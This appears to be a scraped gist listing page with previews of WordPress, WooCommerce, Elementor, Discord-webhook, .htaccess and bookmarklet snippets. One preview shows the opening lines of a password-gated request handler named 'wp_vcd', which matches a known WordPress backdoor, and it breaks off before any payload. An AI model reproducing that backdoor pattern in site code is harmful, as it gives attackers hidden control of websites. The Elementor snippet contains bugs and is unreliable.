This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function woocommerce_paypal_payments_gateway_icon( $icon, $id ) { | |
if ( $id === 'ppcp-gateway' ) { | |
return '<img src="https://www.paypalobjects.com/webstatic/mktg/Logo/pp-logo-100px.png" alt="PayPal Payments" />'; | |
} else { | |
return $icon; | |
} | |
} | |
add_filter( 'woocommerce_gateway_icon', 'woocommerce_paypal_payments_gateway_icon', 10, 2 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Add has-\d-columns class to columns blocks after 5.3 update. | |
* | |
* @param string $block_content The block content about to be appended. | |
* @param array $block The full block, including name and attributes. | |
* | |
* @return string | |
*/ | |
add_filter( 'render_block', function( $block_content, $block ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//How to hide any widget with an id of 'test': | |
add_filter( 'elementor/frontend/widget/should_render', function( $bool, $element ){ | |
$settings = $element->get_settings(); | |
if( 'test' === $settings['_element_id'] && 'heading' === $type ){ | |
return false; | |
} else { return true } | |
}, 10, 3); | |
//How to hide any specific type of widget': | |
add_filter( 'elementor/frontend/widget/should_render', function( $bool, $element ){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) | |
{ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']) | |
{ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
registerBlockType( 'cgb/block-guten-load-post', { | |
// ... | |
keywords: [ | |
__( 'my-block — CGB Block' ), | |
__( 'CGB Example' ), | |
__( 'create-guten-block' ), | |
], | |
attributes: { | |
content: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//======================================================================================================= | |
// Create new webhook in your Discord channel settings and copy&paste URL | |
//======================================================================================================= | |
$webhookurl = "YOUR_WEBHOOK_URL"; | |
//======================================================================================================= | |
// Compose message. You can use Markdown | |
// Message Formatting -- https://discordapp.com/developers/docs/reference#message-formatting |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_setenvif.c> | |
<IfModule mod_headers.c> | |
<FilesMatch "\.(cur|gif|ico|jpe?g|png|svgz?|webp)$"> | |
SetEnvIf Origin ":" IS_CORS | |
Header set Access-Control-Allow-Origin "*" env=IS_CORS | |
</FilesMatch> | |
</IfModule> | |
</IfModule> | |
<IfModule mod_headers.c> | |
<FilesMatch "\.(eot|otf|ttc|ttf|woff)$"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* How to link into the WordPress Customizer | |
*/ | |
Simple Link: | |
<a href="<?php echo esc_url( admin_url( 'customize.php' ) ); ?>">Link to Customizer</a> | |
Link to Panel: | |
$query['autofocus[panel]'] = 'nav_menus'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
u = location.href; | |
t = "takuya-hateblo-22"; | |
a = (function(url, tag) { | |
asin = (function(url) { | |
if (r = url.match(/gp\/product\/([^\/]+)/)) { | |
return r[1]; | |
} else if (r = url.match(/dp\/([^\/]+)/)) { | |
return r[1]; | |
} else { | |
return; |
NewerOlder